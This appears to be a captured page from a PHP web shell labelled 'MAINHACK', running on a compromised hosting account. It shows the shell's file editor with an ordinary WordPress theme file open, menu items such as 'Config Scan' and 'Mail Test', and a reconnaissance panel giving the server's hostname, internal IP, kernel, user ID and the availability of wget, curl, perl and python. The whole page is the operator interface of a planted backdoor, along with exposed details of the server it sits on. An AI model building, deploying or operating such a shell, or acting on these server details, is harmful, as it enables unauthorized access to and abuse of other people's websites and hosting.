[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: search-modal.php
<?php /** * This file handles the customizer fields for the Search Modal. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // No direct access, please. } GeneratePress_Customize_Field::add_title( 'generate_search_modal_colors_title', array( 'section' => 'generate_colors_section', 'title' => __( 'Search Modal', 'generatepress' ), 'choices' => array( 'toggleId' => 'search-modal-colors', ), 'active_callback' => function() { if ( generate_get_option( 'nav_search_modal' ) ) { return true; } return false; }, ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[search_modal_bg_color]', 'GeneratePress_Customize_Color_Control', array( 'default' => $color_defaults['search_modal_bg_color'], 'sanitize_callback' => 'generate_sanitize_rgba_color', 'transport' => 'postMessage', ), array( 'label' => __( 'Field Background', 'generatepress' ), 'section' => 'generate_colors_section', 'choices' => array( 'toggleId' => 'search-modal-colors', ), 'output' => array( array( 'element' => ':root', 'property' => '--gp-search-modal-bg-color', ), ), ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[search_modal_text_color]', 'GeneratePress_Customize_Color_Control', array( 'default' => $color_defaults['search_modal_text_color'], 'sanitize_callback' => 'generate_sanitize_rgba_color', 'transport' => 'postMessage', ), array( 'label' => __( 'Field Text', 'generatepress' ), 'section' => 'generate_colors_section', 'choices' => array( 'toggleId' => 'search-modal-colors', ), 'output' => array( array( 'element' => ':root', 'property' => '--gp-search-modal-text-color', ), ), ) ); GeneratePress_Customize_Field::add_field( 'generate_settings[search_modal_overlay_bg_color]', 'GeneratePress_Customize_Color_Control', array( 'default' => $color_defaults['search_modal_overlay_bg_color'], 'sanitize_callback' => 'generate_sanitize_rgba_color', 'transport' => 'postMessage', ), array( 'label' => __( 'Overlay Background', 'generatepress' ), 'section' => 'generate_colors_section', 'choices' => array( 'toggleId' => 'search-modal-colors', ), 'output' => array( array( 'element' => ':root', 'property' => '--gp-search-modal-overlay-bg-color', ), ), ) );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129